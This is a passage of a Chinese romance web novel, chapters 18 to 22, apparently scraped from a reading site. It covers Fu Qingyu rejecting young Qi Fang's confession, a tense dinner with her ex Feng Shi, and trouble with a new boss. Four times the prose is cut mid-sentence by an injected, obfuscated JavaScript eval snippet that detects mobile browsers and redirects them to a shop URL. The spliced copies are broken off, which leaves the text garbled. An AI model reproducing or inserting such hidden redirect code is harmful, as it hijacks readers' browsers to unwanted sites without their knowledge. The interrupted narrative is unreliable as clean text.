好在两人都给付轻屿面子,拿出正儿八经的态度,最后顺利签了合同。 这个‘顺利’总让付轻屿感觉不太妙。 祁放一下午没怎么说话,都在观察三人。 付轻屿算是三人间负责调和的,李杨跟她之间,能看出有种老同学的关切,不远不近的感觉。 至于颜泠和李杨,祁放有点看不明白,颜泠平常说话就没好听过,见到李杨后,话里带刀的功力更上一层楼。 祁放觉得两人想抢什么东西,有种情敌见面分外眼红的感觉,观察了一下午,又觉得两人间的关系有点微妙,像是人后有一腿的感觉。果然跟付轻屿说的一样,很复杂。 付轻屿本想叫着李杨一起吃晚饭,李杨以工作太忙拒绝了,她就客套了句‘等有空一起’。 这个时候,除工作外,颜泠还是少在外面转,说要打官司,谁知道狗仔会不会拿出来多挖点料。 付轻屿将颜泠和祁放带回家,要了菜点了酒,除了没叫两陪酒小哥,该有的接风待遇都有。 付轻屿不能喝,颜泠拉着祁放喝了不少,给人灌得迷迷糊糊的,自己去躺沙发了。 付轻屿看了看时间,七点多,转身去拿酸奶。 祁放不知道被灌了多少,全身热乎乎的,意识很清醒,整个人有点兴奋,发飘。 付轻屿将酸奶给他递过去,“拿着,喝了。” “谢谢。”祁放红着脸看她,眼里蒙了层雾, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16966549|193406||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 拍拍旁边的椅子,“坐呀。” 付轻屿看他,“醉了吗?” 祁放摸摸脸,不好意思再看她,“没有。” 付轻屿问:“一会还去兼职吗?” 说到兼职,祁放更抬不起头了。颜泠拉着他喝酒前,提起网络上‘帅哥驻场’的视频。祁放这才知道,付轻屿早就看过视频,也知道他兼职做驻唱。 祁放低着头,又拍了拍旁边的椅子,醉酒后说话也有点黏糊,“你能坐下吗,我想跟你说说话。” 付轻屿以为他真醉了,便在旁边坐下,拿过自己没喝完的鸡汤。 祁放低着头,开始数落自己说过的谎,“第一次去唱歌时,我说不会唱歌,是骗人的,我那会不想唱,想着跟你坐会儿。 我没说过自己不会喝酒,是你说不喝也行,给我点饮料,我也不太喜欢喝酒。 还有后来,我说在江城没朋友,是觉得自己有些烦人,怕你不让我去找你,找了个借口。而且那几天,陈昊飞真不在江城。” 付轻屿嗯了声,疑惑祁放为何突然说这些。有些时候,她确实跟不上祁放的脑回路。 祁放哼了声,语气也稍微硬气些,“我没装乖!” 付轻屿看他,脑子还在尽力追上祁放的脑回路。 祁放又喃喃自语,“我也不乖啊,怎么说我装呢?” 付轻屿算是反应过来了,上次医院说他装乖,记到现在了。 酒壮怂人胆,祁放大着胆子转身看她,声音还带股黏糊劲,“你怎么不跟我说话?” “听你说呢。”付轻屿声音很轻,没看他,隐约觉得有点不对劲。 祁放看她,脑子跟着短路,好不容易想起来要问啥,也没细琢磨,直接就问了,“你觉得我怎么样?” 付轻屿彻底听出不对劲,也转过头看他,“你喝醉了。” “我没有。”祁放往人面前凑了下,顶着张谁看谁迷糊的脸,眼里能掐出水来,盯着付轻屿问,“你觉得我怎么样?” 付轻屿猜到祁放的心思,已经没空欣赏他那面若桃花的脸,给出中规中矩的评价,“挺好的。” 祁放双手捂住脸,感觉自己要烧着了。 付轻屿环视自己家,当初怎么没挖个地洞呢?! 到了这个份上,她也不知道是把自己塞到地洞里不听,还是把祁放塞到地洞里,不让他说。 祁放挡在脸前的手指分开,看了付轻屿一眼,随后深吸一口气,放下手来,认真盯着她。 付轻屿第一次在他面前坐不住,甚至想抄起手里的碗,给他砸晕。 祁放认真地说:“付轻屿我喜欢你,不是你的漫画,是你。在知道你是‘大绿豆’之前我就喜欢你了,第一次见面就喜欢,嗯,一见钟情。” 付轻屿心里乱糟糟的,不知道为什么,听他说完,有种尘埃落定的沉稳,至少不用考虑砸不砸了。 或许是祁放说着太认真,她心里竟也生出一丝悸动,不过,很快就压了下去。 祁放经常热情过头,付轻屿不是没往这方面想过,只是觉得太荒谬,没细想。 眼下,这层窗户纸彻底捅破了……不想也得想。 付轻屿转过头,见颜泠躺在沙发上睡得正香,心里松了口气。 祁放挺好的,付轻屿扪心自问,承认对他有些好感,但是,远远没到想谈恋爱的程度。 祁放不是gb圈里的人,这个圈子小,很多时候,都没法拿明面上讲。付轻屿不想拽别人进来,也不想在圈外人身上耗费感情,弄得两败俱伤。 还有一点,祁放是颜泠的弟弟,付轻屿不想把她和颜泠之间的感情变复杂。 她对恋爱不持消极态度,也没什么积极想法,主打一个随便。有合适的就谈,不合适的就散。 不管怎么想,祁放绝对不行! 祁放见她半天没说话,有些着急,“我说我喜欢你。我要追你。” 付轻屿食指挡在唇前嘘了声,转头看向颜泠,有种做贼的感觉。 祁放乖乖闭嘴,把嘴唇抿了起来。 付轻屿轻声说:“和我去楼下走走。” 祁放没出声,抿着嘴点头。 两人一前一后走出门,窸窸窣窣的关门声过后,客厅陷入一片寂静。 颜泠叹了口气,缓缓睁开眼。 19. 19 祁放坐在长椅上,吹吹晚风,酒醒了不少。 四周安静,付轻屿把他带到小区内犄角旮旯的地方,除了虫鸣鸟叫,再没听到其他声音,更没见到人影。 长椅旁的路灯闪了两下,一只飞蛾落到地上,尽力扑棱着。 祁放知道,自己要被拒绝了,从付轻屿说带他下来走走的时候,他就知道了。 心里乱,难受、不甘、迷茫……说不上来什么感觉,就是乱。 祁放低着头,双肘撑在大腿上,手里攥着那瓶酸奶,手指不受控的摩挲着。 付轻屿半靠椅背,坐得随意,安静思忖了会,轻声问:“酒醒些了吗?” 祁放轻轻“嗯”了声,没敢看过去。 付轻屿呼了口气,语气很轻,像是在安抚他,“我这个人,不信什么一见钟情。 或许,我的样貌符合你现在的审美,样貌会变,审美也是。你还年轻,多接触些人,慢慢就知道,一眼悸动的瞬间,还有很多。那瞬间过后,不一定要做恋人,也不一定合适做恋人。 爱情需要冲动,有时候,也不能太冲动。” 祁放罕见地没接话,付轻屿也没有看他,选择继续说:“你刚高中毕业,还没步入大学,可能见的人太少,所处圈层太固定。你我阶层不同,上学和工作差很大,我早就从你那个阶段过来了。你刚出校园,或许见到我这种‘大姐姐’,觉得很新奇,跟你们很不一样。 其实真没什么,都是人。 这种带点仰视的关系好也不好,别把我架到你幻想的高度。” 祁放轻声回了句,“我没有幻想你是什么样的,我只是在看,在感受。” 付轻屿顿了下,嘴里品味这句话。说实话,听祁放说出来,有点意外。 付轻屿定了定神,“这几天事多,咱俩待得时间长,也可能让你产生错觉。 除了样貌,我想不出你心动的点,我对待人的方式态度?我对朋友都这样。恋人和朋友是不一样,我对恋人不可能和对朋友一样,你没见过,见了也不一定能受得住。 你要是觉得我们相处很舒服,才说出那句喜欢,我帮你更正一下,那是朋友间的喜欢,我就当你夸我这个人了,交个朋友。” 祁放消化完这些话,转头看向她,“那你对恋人什么样?”说完,他转过头去,嘴里又喃喃了句,“我承受能力强,你怎么知道我受不住。” 付轻屿听完一愣,感觉自己说的全白说了,他是一点都没听进去。 付轻屿没答他的话,又绞尽脑汁想了半天,“还有‘大绿豆’的身份,你也不要对我有太多滤镜,早就是过去式了。这么多年过去,我也不是当初执笔的那个人了。” 祁放点点头,“我知道,我又不傻。” 付轻屿是真没招了,她知道祁放不听劝,没想到他这么轴。 付轻屿不想把话说绝,像什么‘咱们再也别见面’、‘以后桥归桥、路归路,见面也当不认识’、‘老死不相往来最好’,她说不出来,分手都没说这么狠。付轻屿不是这个意思,也没必要搞得苦大仇深。再说,有颜泠在两人中间横着,她不想把事做得太绝。 付轻屿现在就想跟祁放说清楚,还有十多天他就开学了,等到时候,两人联系一断,学校里有的是新鲜事、新鲜人。 祁放来回拧着瓶盖,蔫啦吧唧地说:“我听懂你的意思了,你不喜欢我,对我没意思。” 付轻屿叹了口气,“不是男友朋友的那种喜欢。挺好一人,说烦就过了。” 祁放‘嗷’了声,又闷头想了会,“我要是追你,你烦吗?” 付轻屿觉得祁放完全不按套路出牌,害她琢磨半晌,“我会拒绝你。咱俩不是一个圈子的人,不合适,我也不可能跟你谈恋爱。” 付轻屿感觉自己说得不能再明白了。 祁放以为付轻屿说的圈子,单指上学和工作这层关系,心里喃喃:“现在不合适,以后慢慢不就合适了。” 想着想着,祁放心里叹了口气。他知道,付轻屿这是在委婉拒绝他,要是喜欢,还哪管什么合适不合适。 两人坐在长椅上,静默半晌。 祁放开口:“我知道了。” 付轻屿对这句‘我知道了’,感觉十分不妙。可是,她又不能掰着人嘴,死活让人说出那句,“我知道我们不合适,我不会再做别的事了。” “就当你说醉话了,我们还是……还是朋友。”付轻屿实在找不出更合适的词语,用来说明他们之间的关系。 祁放没答应,也没拒绝,整个人沉默着没吭声。 付轻屿看了眼手机,快到祁放兼职时间了,“你还去驻唱吗?” 祁放点头,吐了一个字,“去。” 付轻屿看他委屈巴巴的样儿,一狠心,没再说什么安慰的话,“那我先上去了,你路上小心。” 祁放“嗯”了声,没抬头看她。 付轻屿回到家门前,看着钥匙和锁扣间的距离,指尖收紧,顿了下。 应该都说明白了吧? 她明明没喝酒,这一路走回来,晕晕乎乎的,脑子不知道被什么东西缠住,绕不过来。 付轻屿面门思过了会,摇摇头,不管这么多了。 门打开,客厅只开了盏暖灯,光线昏暗。投影仪放着动画片,颜泠四仰八叉地坐在沙发上,朝门口投过目光,“回来了。” “嗯。”付轻屿低头换鞋,“没睡?” 颜泠也嗯了声。 付轻屿一时没话说,转头去冰箱拿出两瓶水。 颜泠顶着张醉酒的大红脸,不知道从哪翻出袋薯片,跟只仓鼠一样嗑得脆响。“祁放呢?你俩没事吧?” “没事,说开了。”付轻屿坐到她旁边,“他去兼职了。” 颜泠呼一大口气,“我是真没想到,这小子什么时候起的歹心?” 付轻屿不紧不慢地说:“小孩,青春躁动,兴致一起,说着玩的。” 颜泠一听,就知道这事没完。 祁放虽然不是颜泠亲弟弟,却也是她看着长起来的。祁放整天嬉皮笑脸,看着缺心少肺的,是个小人精呢,也是个死心眼,认准的东西就不带撒手的。 前些年,祁放一头扎到画画里,颜泠不是没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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感情本就是两个人的事,就算是付轻屿和祁放,颜泠也不打算多掺合。顶多给祁放两句忠告,其他的听天由命去。 不管两人最后结局如何,祁放跟她的血缘关系摆在这,跑不了。 付轻屿可就不一定了,颜泠真担心她跑了。 付轻屿正对着动画片出神,颜泠突然转过头,顶着张猴屁股脸,郑重其事地通知她,“我不管你跟祁放咋闹,你要是敢因为他这点破事,疏远我这个打着灯笼都找不到的朋友,我跟你说,你就完了。到时候,我给你下追杀令,杀你到天涯海角。” “行了,颜大侠,这不是你的武侠世界,不用给我下追杀令。”付轻屿真心实意笑了下,“我没那么幼稚,不管发生啥,咱俩都生疏不成你说的那样。” “最好是。”颜泠哼了声,“追杀你。” “祁放爱哼声是跟你学的吧?”话到嘴边,付轻屿咽了下去,没想再提他,笑着说了句,“知道了,知道了。” 20. 20 颜泠占领付轻屿的床,赖到第二天下午,看李杨消息,说有官司上的事情找她,这才回家换身衣服,出门会客。 祁放消停了一天,付轻屿的手机也安静了一天。 静下来,付轻屿才体会到祁放有多能说,前些日子,时不时就要弹几条消息,她竟然也习惯了。 颜泠走后,付轻屿简单收拾好房间,开始准备下一期节目的主持稿。 傍晚时,门铃响了声,付轻屿心里莫名有种预感,是祁放。她喊了句“稍等”,简单收拾起手稿。 一开门,祁放歪着的小脑瓜摆正,笑了下,“没打扰到你吧?” 付轻屿心里一团乱麻,面上淡定摇头,“没有。” 祁放拿着个不大的礼品盒,递给她,“这是和地毯一起买的,想当做乔迁礼物送你,没料到你不办乔迁宴。前些日子给你添了不少麻烦,还是想当个小礼物送你。” 付轻屿没打算收,客套地说:“我不也麻烦你了,礼物就不用了,你自己留着吧。” 祁放将礼盒塞到她怀里,“你就收下吧,不然,我真不好意思了。” 付轻屿没理解他不好意思的点在哪。 祁放眼周红肿,应该是哭过,精神头倒是挺足的,看着没什么事。付轻屿拿着礼盒,没再和他拉扯,道了句谢。 祁放看她一眼,移开视线,“你昨晚说的话,我想明白了。你放心,我不会再胡来了。” 付轻屿听着不放心,总觉得他这话说得含糊,又不能跟上课提问似得,非让他解释,那就太强人所难了。 她顿了顿,给出句,“你明白过来就好。” 祁放挠挠头,“我姐知道了,说了一顿。她昨晚没回来,你俩没事吧?” 付轻屿说:“没事。她昨天晚上在这睡的。” 祁放点点头,“那我也没别的事了。” 付轻屿也点头。 两人在门口僵了几秒。 祁放问:“我要去吃饭,你吃饭了吗?要一起吗?” 付轻屿摇头,“你去吧,我还有事,等会做点吃。” 祁放没多说,笑着留了句道别的话,转身离开。 付轻屿关上门,瞧着礼盒。 今天的祁放有点新奇,处事风格成熟了许多,知进退,不执拗……不像祁放。 祁放说一见钟情,或许,他之前把自己带入了错误角色,这才是他和朋友间的相处模式。 一时间有点别扭,但事情终于扭转到正轨上,付轻屿还是蛮欣慰的。 礼盒不大,分量倒不轻,付轻屿拿到沙发上拆开,看到盘子的瞬间,呆滞了。 一千多一个盘子。 祁放哪来的钱?! 付轻屿仔细查看纹理,是正品,她之前就相中了这款,不得不说,在审美方面,她跟祁放还挺合的。 她喜欢买些好看的碗盘,价格都中规中矩,之前没入手,也是因为价格犹豫了。 付轻屿跟盘子面面相觑,半晌,她找出手机给祁放发了条消息,“你零用钱都买它了?这太贵了,没必要,你在哪,我去找你一起退了。” 祁放:没法退,退货时间过了,小票也找不到了。 祁放:盘子挺好看的吧,我感觉你会喜欢。 付轻屿对着消息沉默半天,查了下盘子的具体价格,又往上捐了点,凑个整数,给祁放发了转账。 一秒被退回来了。 祁放:没必要吧,太见外了。要不然,等我生日的时候,你送个生日礼物? 祁放:不过你得等等了,这才八月,我是二月底生日。 付轻屿:你还在兼职,一千多一个盘子,没必要。 祁放给她发了个五位数存款的截图:轻屿姐,我真有钱花。 祁放:我比你想的富裕,不是我姐给的钱,我自己赚的,也没乱花,收着吧。等几天兼职工资发下来,就更富了。 祁放:先不说了,我朋友找我。 平常都是付轻屿有事断掉聊天,这还是头一次被祁放掐断。 付轻屿看着聊天截图,一是好奇祁放刚高中毕业,怎么会有好几万的存款。二是想着回礼,生日离得远,除了过年好像也没合适的节日送。 春节和祁放生日也差不了几天。 又是个需要记挂的事。 付轻屿收下礼物,看着聊天框,又发现一个不同点,祁放今天叫的‘轻屿姐’。 “轻屿姐,轻屿,轻屿姐……” 付轻屿自己喃喃几遍,‘轻屿姐’一出,距离感立马就有了,之前居然没发现。 盘子拼接得很有美感,既然已经收下了,付轻屿也不再纠结太多,美美欣赏半天,给它安置好。 付轻屿再次拿起手机,才发现冯适几分钟前发过一条消息:明天彩排完,一起吃个饭吧。 手机震动,冯适看了眼,是广告推送。一晚上过去了,付轻屿半句话都没回。 冯适坐在化妆间,人员进进出出,始终没看到付轻屿的影子。 冯适没忍住问了句,“主持人不过来吗?” 许梦给他做发型,嘴角瞥了下,小声说:“你是想问轻屿吧?” 冯适轻咳一声,下意识扫了眼四周,见无人注意这边,才点点头。 许梦知道两人分手有公司的原因,再多可就不知道了。现在看来,冯适一副想复合的模样,倒像被甩的。但其中的利害关系,动脚指头想,也知道谁受益最大。 “轻屿谈恋爱了,你不知道吗?”许梦透过镜子看他一眼,眼神透出看热闹不嫌事大的玩味。 冯适很秀气的一张脸,可惜了,透出王八壳的青绿色,“是吗?什么时候的事?” 许梦语气随意:“应该有一段时间了吧,说是身边人介绍认识,两人关系挺稳定的。轻屿前两周停工,说是跟对象一起玩去了。” 身边人对上颜泠,停工时和对象在一起,冯适立即想起祁放那张脸,想起那天晚上付轻屿抱着他的场景,后槽牙下意识咬紧了。 许梦给他喷了层发胶,“怎么?现在后悔了,你这后悔的有点晚啊。” 冯适没接她的话。 许梦也没再开口,忙完他的发型,加急处理下一个人。 “咱两老是私会,”付轻屿看向面前人,挑了挑眉,“不太好吧?” 何雨萌无奈瞪她一眼,关好门,“说正经的。” 付轻屿看她上了锁,小声问:“真说正经的?什么事啊,你还锁门。” 何雨萌说:“我调岗的事。” 付轻屿玩笑不出来了,皱起眉头,“调岗?” 何雨萌坐下,示意她小点声:“本来是下个月末调离,昨天领导发话,这个月底就换人上来。” 付轻屿跟她面对面坐下,一时缓不过神,“为什么调你离开?升职?” 何雨萌无奈笑了下,“面上好看,说是升职,其实又是个烂摊子。” “这档节目是你好不容易才做起来的,说调岗就调岗?”付轻屿反应快,“有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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祁放将他的手甩下去,揉吧揉吧卡片,丢进垃圾桶,“我没失恋,我只是还没追到。” 陈昊飞十分担忧地看着他,不是魔障了吧? 祁放笑着说:“我想了一晚上,决定改变策略,从头再来。” 陈昊飞疑惑开口:“你现在什么策略。” “以退为进。”祁放眼神坚定,“我要展示出成熟稳重的一面,不是一个圈子,就变成一个圈子。工作圈而已,我也可以。我要一点点潜入她的圈子。” 什么乱七八糟的?陈昊飞疑惑皱眉,“你姐跟她不是朋友吗?不能给你搭搭线。” 祁放一摆手,“别提了,我姐是第一个站出来阻止我的。她说我会把关系搞复杂,言而总之,就是说我和付轻屿不是一个圈子的,让我少招惹。” 酒馆老板在后面招呼:“你们收拾一下,过来吧,这边快布置好了。” 祁放应了声好。酒馆中午十二点营业到凌晨,老板把今天的驻唱取消,给两人安排了其他工作——趁着营业前,拍点宣传视频,充充门面。 陈昊飞琢磨着他的话,不放心地问:“行吧,不过你那策略真能行吗?” “肯定行。”祁放说,“一时间变不成熟,我还装不成熟吗?” 陈昊飞看他,昨天还嗷嗷哭,今天又笑得像个反派,这情绪起伏,不会有什么问题吧? “……祝你成功。” 祁放蓄势待发,准备开装。 装什么乖?装成熟! 21. 21 整个节目彩排下来,到了下午4点多,节目组人多眼杂,除去流程安排,冯适没和付轻屿说上几句话。 眼看散场,冯适在后台叫住付轻屿,“有时间吗?一起吃个饭。” 付轻屿心情不好,有人赶着往枪口上撞,她就顺带呛了句,“一起吃饭?现在不怕被拍到了?” 她说完,笑着瞧过一眼,故意要看冯适尴尬的表情。 分手前,冯适正处于一段上升期,除了手机联系,两人几乎没碰过面,害怕被拍,影响发展。 冯适沉默两秒,知道付轻屿在逼他说出两人关系,“朋友吃个饭,就算被拍到了,也没什么。毕竟我们现在也没啥交集。” 付轻屿漫不经心地问:“有什么重要的事?” 冯适眼睛放哨,注意着周遭变动,“没,就随便聊聊,叙叙旧。” 付轻屿知道冯适想聊什么,自从他见过祁放,就开始变得不对劲,早点说明白也好。“找家清淡的店吧,前几天胃里做了手术。找好了,地址发我。” 冯适没来及回话,付轻屿就走开了。他环视一遭,见工作人员没注意这边,才松一口气。 冯适找了家小炒,距离饭点还有段时间,店里没上人,很冷清。 两人分开过来的,冯适给付轻屿发的位置消息,一直没收到回复。他眼巴巴地看着窗外等,直到看见付轻屿下车,心里才踏实下来。 付轻屿没什么胃口,点了份南瓜粥,冯适又点了几个清淡点的菜。 冯适戴着黑框眼镜,口罩和帽子都摘了。他还没火到随便揪出个路人都认识,日常生活中比较随意。 以前的时候,付轻屿忙着积累经验,扎根主持人的行业,每天都给自己安排得满满当当,模特工作也没落下,都是挤出时间去拍摄。 冯适为了拍戏四处跑,两人很少有时间在一起。 回想上次闲聊吃饭,实在太久远,记忆都模糊了,好像是刚在一起的时候。 付轻屿喝了口热水,先寒暄了句,“最近还不错?” “还可以。”冯适看她,开门见山地说,“听说,你谈恋爱了?” 付轻屿似笑非笑,猜到他是从许梦那知道的,“你消息挺灵通的。怎么,我不能谈恋爱吗?” 冯适没答话,反问她,“是上次那个小男生?” “不是。”付轻屿轻声道,“还有,你别和他瞎说。” 冯适没说话,脸上写着两字‘不信’。 沉默片刻,付轻屿醉酒抱着祁放的画面,一直在他脑海中挥之不去。冯适开口带刺,“这次找对象,没提前给人家说啊?万一人家不给你干,岂不是又浪费感情?还是说,换个人,你就无所谓了?” 听他这么直接地说出来,付轻屿没说话,脸色已经沉下不少。 冯适听不到想要的回答,更急了,“我一直都想不明白,你是不想跟我做,找的借口,还是有什么顾虑?如果,你觉得只有结婚后才能发生关系,我也ok,我没急着和你做什么。 还是说,你根本就没喜欢过我,我一碰你,你就恶心?为什么啊,小屿,为什么,我就是想不明白了……” “冯适!”付轻屿叫停他的话,“我和你解释的还少吗?” 冯适看着她,眼神中透出迷茫疲惫。 付轻屿跟他对视,两人好像又拉回到之前争吵中,没头没尾,永无终止。 付轻屿揉着眼眶冷静了下,“冯适,我麻烦你认真听一遍我的话。 接受不了,仅此而已,这是生理和心理上的反应,我控制不了。这件事,你为什么接受不了,我就为什么,你为什么不喜欢,我就为什么。 关于这件事,我们交谈得还少吗?在你之前,我没谈过恋爱,没有意识到自己的取向,我非常抱歉。 没有那么多弯弯绕绕,我们之间不合适。冯适,不要怀疑几年前的我,也不要怀疑自己,可以吗? 我们能不能断掉这个话题?不要一遍一遍地吵,真的好累。已经分手了,这个问题真的还有这么重要吗?” “不好意思,打扰一下,这边给您上菜,小心烫。” 服务员的打断,让两人暂时冷静了下。 半晌,付轻屿才开口:“冯适,就算没有这个问题,经纪公司要你断掉恋爱关系,你也会断。我了解你,我们太像了,太想往上奔。如果是我,我也会断。” 冯适没说话,脸上多了两行泪。 付轻屿给他递过纸巾,冯适流着泪,费力扯出个笑,“对不起,我情绪有点失控,我不是想……” “冯适,我们该翻篇了,该往前走了。”付轻屿轻声说,“实在想不明白,就当有缘无分吧,好吗?” 在这段感情里,付轻屿总是游刃有余,在一起、分开和放下都显得很轻易,甚至还能劝他放手,冷静温柔又残忍。冯适低头苦笑了下,“你早就走出来了吧?” 付轻屿没答话,没否认。等冯适冷静下来,她才轻声说:“吃些东西吧,点了这么多,别浪费。” 冯适点头应下。 两人吃得沉默,付轻屿看他情绪缓过来,又扯了些其他话题。 “这个点早,都没人。” 付轻屿抬头看过去,正好跟祁放对上视线,两人都愣了下。 祁放点头示意,算是打过招呼,没走上前。付轻屿也点头回应。 陈昊飞没看到祁放的表情变化,继续说着,“随便点,我请你。” 祁放“嗯”了声,情绪不高,陈昊飞这才注意到不对劲。 祁放选好桌位坐下,跟付轻屿隔得不远不近,能正面看到对方。 陈昊飞点菜,祁放打量付轻屿对面的男人,冲着背影咬牙切齿。 非常‘成熟’地打完招呼,祁放给自己的表现打满分,背地里一个劲地偷瞄——想要搞清楚那个男人是谁,跟付轻屿什么关系,长什么样,为什么一起吃饭…… 陈昊飞注意到祁放的小眼神,想要扭头看,却被按住胳膊,一把拦住。 祁放小声说:“别回头。” “认识?”见祁放点头,陈昊飞更加肯定了,“那个女生不会就是你在追的人吧?” 祁放又点点头。 陈昊飞陷入沉默。饭店总共就两桌客人,他进门时大体看了眼,那个女生很扎眼,不管是长相还是气质,都太出众了。 “祁放啊,”陈昊飞叹气,“……算了,你加油吧。” “我会的!” 一顿饭下来,祁放都要瞄成火眼金睛了。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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颜泠看向付轻屿,一副劝她如实招来的气势,“男生?快说,和谁吃的饭?” 付轻屿琢磨着祁放的话,不知道他是有心还是无意。“节目彩排,跟冯适吃的饭,聊了几句。” 一听冯适的名字,姐弟俩耳朵都竖起来了。 祁放转身去冰箱拿喝的,装出回避的样子,实际上,耳朵伸出去两米。 颜泠问:“你俩吃什么饭?他又干什么,他不会是想复合吧?你不会是想复合吧!你可想好了,你俩整天谈得跟异地恋似得,见了面又吵架。再说,你俩又……不合适,你、你可想清楚了!” 付轻屿说:“没有,就是聊了两句工作上的事。” 颜泠撇嘴看她,这话说的,骗鬼呢? 付轻屿笑了下,认真地说:“放心好了,我已经放下了。” 颜泠听她这句话说得像样,“料你也不是吃回头草的人。” 祁放握着手里的饮料,松一口气,转身给她们送去,“我先回房间画画了,有事喊我。” 颜泠应了声,示意他爱哪去哪去。 关门声落下,客厅里诡异地沉默了几秒。 颜泠问:“你俩没事吧?我昨天跟祁放说了下,他听没听进去就不知道了,反正半天没憋出个屁来。” “没事。”付轻屿心宽,“他一小孩,酒后胡说的,这两天有意拉开距离呢。等开学后,这事就该彻底散了。到时候,你可别乱提,让人下不来台。” 颜泠面上应了声,心里狐疑。祁放这么反常,肯定没憋什么好屁。 22. 22 颜泠近期没工作,没事就找付轻屿待着,两家来回窜。 付轻屿去颜泠那,免不了要和祁放碰面。 祁放装得像样,每次都聊几句,不生分也不贪熟。话说得差不多了,他就找借口离开,不是说要画画,就是出去见朋友。 多待下去,他怕控制不住自己,露馅。 付轻屿很喜欢这种不远不近的关系,没在祁放身上花太多心思留意,让两人的关系顺其自然。 颜泠没戏拍,闲着也是闲着,开始自己琢磨着写剧本,拉付轻屿一起讨论。 “又出去?”颜泠看祁放挎着包往外走,没缘由地问了句。 “嗯,飞哥跟黎夏找我一起。”祁放说着,看了眼沙发上的两人,目光在付轻屿身上稍微停了下,“走了。” 颜泠知道陈昊飞,至于黎夏,祁放这几天出门常提,她今天多问了句,“黎夏是谁?” “朋友。”一听是颜泠问的,祁放没多说,关门走了。 “黎夏,听名字应该是女生。”颜泠脑子一转,“男人没好东西,到了感情这事上,没一个倔的,都看得通透。” 付轻屿笑,“连你弟也骂?” 颜泠哼了声,“不少骂他。” 付轻屿看着门口,想了下。挺好的,多接触同龄人,翻篇翻得也快。 月底工作忙,付轻屿跟个陀螺似地转了两三个天。何雨萌调岗的消息通知下去,各部门都在准备迎接新负责人,几个主持人也不例外。 有机会喘口气的时候,才发现祁放已经开学了。 颜泠没送祁放,她自己跟营销号闹得天翻地覆,再去学校逛游,那是给祁放找麻烦。饭店忙,祁放父母脱不开身,他自己拉个行李箱就去了。 开学那天,祁放给付轻屿发了几条消息,有的没的,主要是报个平安。 付轻屿那几天是陀螺,草草回了几句,没走心。听颜泠一提,才想起这一茬,又看了看聊天记录。 前天祁放发过两条消息,说在优秀毕业生的专栏上看到了她照片,又提了嘴军训的事。付轻屿记得回过,看着祁放打底的消息,不知道自己回哪去了。 付轻屿退出聊天框,想着没回就没回,正好让关系淡淡。 付轻屿顺手打开工作微信,何雨萌将新负责人陈声宏拉进群,自己退了。 工作群都是欢迎陈负责人的话术,付轻屿随手复制一条,发上去,没再管。 新官上任三把火,陈声宏上位第一天,定了个开会时间,说着互相了解,实际上,给大家定下不少规矩。 开完会,免不了聚餐,欢迎这新上任的陈大负责人。 开会时,陈声宏一视同仁,等到饭桌上,突然想起熟人来,“轻屿啊,这些人里,咱俩可是老朋友了。” 付轻屿面上挂着笑,“这句老朋友,可真抬爱了。我一个小主持人,你那时候可是个副手,转一圈又回来,缘分。” 最开始节目难做,幕后工作人员换了一批又一批,后面才稳定下来。陈声宏之前做过副手的事,在座这些人少有知情的。 付轻屿一点,一群人精面上没说话,脑子里都想个八九成。 陈声宏面上笑着,“是啊,坚持这么久,不容易吧,人呢,也得知道变通。轻屿有毅力啊,够坚持。你看我们何总,都往高处奔了。” 付轻屿笑着举了下杯,没接他这话。 陈声宏干了,笑着回应。付轻屿没搭话,他也就扯开话题。 一群人嗅到了微妙的火药味。 理念不同,磨合起来就累。付轻屿和陈声宏之间,虽然没有明着开呛,但小摩擦就没断过。 不到一个月,陈声宏终于忍不下去,当面挂了脸,不单冲付轻屿,但有一半是她的功劳。 “哎吆,只是黑着脸没说话啊,我还以为他终于忍不住开怼了呢。”颜泠刚试镜完,拿下一个女配的戏份,现在心里美,“你来接我呗,晚上喝点,庆祝庆祝,也给你去去晦气。” 付轻屿没多说,要来地址,让颜泠等着。 小酌酒馆,付轻屿停下车扫了眼酒馆招牌,下意识想到了祁放。 “就咱俩?”付轻屿问了句。 颜泠没正行地问:“你想再找俩人?” “没。”付轻屿抬手拒绝。 开学后,祁放发过不少消息,时不时分享两条日常,付轻屿有空就回他,后来又觉得联系太密,给他回了条‘有正事打电话,最近忙’。 这条消息发出去,祁放消停了几天,后面又给她发过消息。付轻屿看没什么正事,就没回。 进到酒馆,付轻屿先看向唱台,见驻唱的人不是祁放,心里好像松了口气。 两人随便找了个位置,颜泠把这顿当做进组前的放纵餐,敞开了点菜。 付轻屿问:“这次是去哪拍摄?” 签完合同,颜泠脑子只剩兴奋,认真回想了下才说:“春城,十月份开机,具体时间还没定。春城入冬早,到时候差不多得零下了,冷啊,冻人。” 颜泠嘴里说着冷,脸上却压不住笑。 付轻屿替她高兴,再想想陈声宏,感觉自己这份工作快看到头了,心里又暗叹一声。 颜泠和付轻屿说话,都是想起哪扯哪,从来没有顾及。颜泠看着手机,蹙了下眉头,“这小子,最近也不知道怎么了,三魂没了六魄一样,说啥都嗯啊嗷,没个活人味。” 付轻屿问了嘴,“祁放?” 